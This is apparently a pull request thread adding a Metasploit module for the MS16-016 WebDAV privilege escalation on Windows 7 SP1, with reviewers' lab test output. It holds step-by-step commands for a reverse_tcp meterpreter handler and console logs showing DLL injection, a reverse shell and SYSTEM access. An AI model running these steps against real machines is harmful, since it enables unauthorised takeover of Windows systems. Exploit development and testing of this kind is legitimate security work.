Add ms16-016 local privilege escalation (originally #6695)

[wwebb-r7]

Adds module which exploits MS16-016 (CVE-2016-0051). This was originally #6695 - I've had one dead SSD and a lot of drama in between now and then

@sinn3r @OJ tagged as original reviewers

Verification

List the steps needed to make sure this thing works

• Get a Windows 7 x86 SP1 VM
• Create a meterpreter payload for the target using msfvenom
• use exploits/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set lhost your_ip_address
• set lport whatever_port_you_configured_the_payload_with
• run -j
• Execute the payload on the target system
• Verify that you get a meterpreter session going
• background
• use exploits/windows/local/ms16_016_webdav
• set payload windows/meterpreter/reverse_tcp
• set lhost your_ip_address
• set lport whatever_port_you_configured_the_payload_with
• set session whatever_your_meterpreter_session_number_is
• run

You should see something like this:

• Verify that the new session privileges are NT AUTHORITY\SYSTEM via 'getuid' in meterpreter

[wwebb-r7]

Of course I forget the module docs ... or did I?

[wchen-r7]

This isn't needed because it's already your first reference :-)

[wchen-r7]

Hmmm it's not working for me:

msf exploit(ms16_016_webdav) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-6NH0Q8CJQVM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms16_016_webdav) > show options

Module options (exploit/windows/local/ms16_016_webdav):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.23.1      yes       The listen address
   LPORT     5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 SP1


msf exploit(ms16_016_webdav) > run

[*] Started reverse TCP handler on 172.16.23.1:5555 
[*] Launching notepad to host the exploit...
[+] Process 3384 launched.
[*] Reflectively injecting the exploit DLL into 3384...
[*] Exploit injected ... injecting payload into 3384...
[*] Done.  Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
[*] Exploit completed, but no session was created.
msf exploit(ms16_016_webdav) >

[wchen-r7]

Oh no, never mind. It is working. The firewall blocked it.

[wchen-r7]

msf exploit(ms16_016_webdav) > run

[*] Started reverse TCP handler on 172.16.23.1:5555 
[*] Launching notepad to host the exploit...
[+] Process 2124 launched.
[*] Reflectively injecting the exploit DLL into 2124...
[*] Exploit injected ... injecting payload into 2124...
[*] Done.  Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
[*] Sending stage (957999 bytes) to 172.16.23.177
[*] Meterpreter session 2 opened (172.16.23.1:5555 -> 172.16.23.177:49589) at 2016-07-06 11:58:12 -0500

meterpreter > 

[wchen-r7]

Release Notes

Add MS16-016 WebDAV null pointer dereference vulnerability - This module allows you to exploit a null pointer deference vulnerability in Windows 7 SP1's WebDAV, and escalate your privilege to SYSTEM.

[OJ]

Nice work! Looks great.